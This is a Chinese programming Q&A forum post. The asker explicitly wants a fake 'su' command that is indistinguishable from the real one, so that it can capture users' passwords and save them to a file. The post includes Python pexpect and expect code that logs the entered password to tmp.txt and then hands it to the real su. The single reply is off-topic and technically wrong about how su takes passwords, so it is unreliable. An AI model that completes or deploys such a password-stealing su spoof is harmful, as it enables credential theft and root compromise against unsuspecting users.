- 39
- 0
问题描述
如题,工具需要模仿的百分之百的像,为了获取用户的密码,并保存下来。
寻求大佬提供解决思路或相关指点,感谢。
问题出现的平台版本及自己尝试过哪些方法
- 已经尝试过
pexpect库,并暂且使用其中的logfile属性来进行记录用户的输入。
尝试交互的interact方法不适用,因为虽然可以完成如同su的交互,但是在logfile关闭后进行交互会报I/O operation on closed file的错,如果在logfile文件操作中进行interact则日志则会很混乱。 -
暂且通过调用shell中
expect来完成交互。
设置过关闭Password:回显,但是最后会显示一行空行。
相关代码
#python su.py
import pexpect
...
def mock_su_need_pwd():
pwd=getpass.getpass("Password:")
p=pexpect.spawn("su")
p.expect("Password:")
p.logfile=open("tmp.txt","a")
p.sendline(pwd)
p.expect(["Password:","su: user opl does not exist","[\$%%#]","su: Authentication failure"])
p.logfile.close()
os.system("./test.sh "+pwd)
#test.sh
! /usr/bin/expect
log_user 0
spawn su
log_user 1
expect "Password:"
log_user 0
set pwd [lindex $argv 0]
log_user 1
send "$pwd\r"
interact
你期待的结果是什么?实际看到的错误信息又是什么?
实际运行结果:
#pwd is incorrect
[opl@xxx]$ python su.py
Password:
Password:
su:Authentication ..
# pwd is correct
[opl@xxx]$python su.py
Password:
Password:
[root@xxx]#
期望运行结果:
同su
需要应用的平台:基本所有的Linux版本可执行。
0
打赏
收藏
点击回答
您的回答被采纳后将获得:提问者悬赏的 10 元积分
- 共 0 条
- 全部回答
-
享受伤口 普通会员 1楼
在Python中,我们可以使用
subprocess模块来执行shell命令,包括su命令。以下是一个简单的例子:```python import subprocess
模拟输入和输出
print("请输入你的用户名:") username = input() print("请输入你的密码:") password = input()
执行su命令
subprocess.call(['su', username, password])
打印当前用户的输出
print("当前用户的输出:") print(subprocess.check_output(['whoami'])) ```
这个例子中,我们首先模拟了用户的输入和输出,然后使用
subprocess.call函数执行了su命令,最后打印出了当前用户的输出。注意:在实际使用中,你可能需要处理各种可能的错误,例如输入的不是合法的用户名或密码,或者执行的
su命令没有权限等。此外,subprocess.call函数会直接修改系统的进程状态,所以在执行这个命令之前,你应该确认你的系统是否允许你这样做。
更多回答
网站公告
- 扫一扫访问手机版
回答动态

- 神奇的四哥:发布了悬赏问题阿里云幻兽帕鲁服务器更新之后。服务器里面有部分玩家要重新创建角色是怎么回事啊?预计能赚取 0积分收益

- 神奇的四哥:发布了悬赏问题函数计算不同地域的是不能用内网吧?预计能赚取 0积分收益

- 神奇的四哥:发布了悬赏问题ARMS可以创建多个应用嘛?预计能赚取 0积分收益

- 神奇的四哥:发布了悬赏问题在ARMS如何申请加入公测呀?预计能赚取 0积分收益

- 神奇的四哥:发布了悬赏问题前端小程序接入这个arms具体是如何接入监控的,这个init方法在哪里进行添加?预计能赚取 0积分收益

- 神奇的四哥:发布了悬赏问题阿里云幻兽帕鲁服务器刚到期,是不是就不能再导出存档了呢?预计能赚取 0积分收益

- 神奇的四哥:发布了悬赏问题阿里云幻兽帕鲁服务器的游戏版本不兼容 尝试更新怎么解决?预计能赚取 0积分收益

- 神奇的四哥:发布了悬赏问题阿里云幻兽帕鲁服务器服务器升级以后 就链接不上了,怎么办?预计能赚取 0积分收益

- 神奇的四哥:发布了悬赏问题阿里云幻兽帕鲁服务器转移以后服务器进不去了,怎么解决?预计能赚取 0积分收益

- 神奇的四哥:发布了悬赏问题阿里云幻兽帕鲁服务器修改参数后游戏进入不了,是什么情况?预计能赚取 0积分收益
- 回到顶部
- 回到顶部
